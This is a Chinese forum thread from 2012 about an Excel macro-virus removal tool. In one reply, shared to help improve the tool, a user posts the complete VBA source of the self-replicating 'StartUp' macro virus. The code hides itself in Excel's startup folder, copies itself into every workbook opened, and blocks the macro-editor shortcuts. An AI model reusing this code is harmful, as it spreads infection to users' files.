宏病毒专杀防疫工具v3.0（一键安装）

yeshuangyong · 发表于 2012-2-13 09:05

兰版总让人觉得高不可测，崇拜啊

BAIXINGR · 发表于 2012-2-13 12:41

下来试试

suntopjiang · 发表于 2012-2-13 16:17

多谢兰版!!!试用中。

opelwang · 发表于 2012-2-14 18:46

非常感谢兰版分享。
测试了下，能杀掉当前打开带有宏病毒的模块，但针对已经感染过的文件，没有得到有效处理。
看以下图片，是被感染过的文件，有很多以：StartUp 或 XXXXX 开头的工作表与模块。
如果在能在防御的同时，能删掉以这些关键字开关的工作表或模块就好了（包括深度隐藏的工作表）

上传不了附件哩......只能截图了..

wxfx1228 · 发表于 2012-2-15 08:07

相当强大，谢谢了。好东西。

pdjfx · 发表于 2012-2-15 16:13

收藏了备用，谢谢老大！

opelwang · 发表于 2012-2-15 18:24

应兰版要求，附上StartUp宏病毒源代码：

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "" & "StartUp.xls")
N$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
N$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(N$).Select
End If
End Sub

复制代码

爱疯 · 发表于 2012-2-20 16:07

建议发现病毒后的提示TITL内容能清晰些。如：“某某软件的提示”

这样好给别人解释：只要发现是“某某软件的提示”，就确定，没危害的。

lvweijia2010 · 发表于 2012-2-21 16:25

真的很好用，大家快试试吧，嘻嘻！电脑的EXCEL表格好使，太高兴了！

过江龙 · 发表于 2012-2-27 16:44

谢谢，校长的先进武器！

		自动登录	找回密码
密码			注册

[待分类] 宏病毒专杀防疫工具v3.0（一键安装）

点评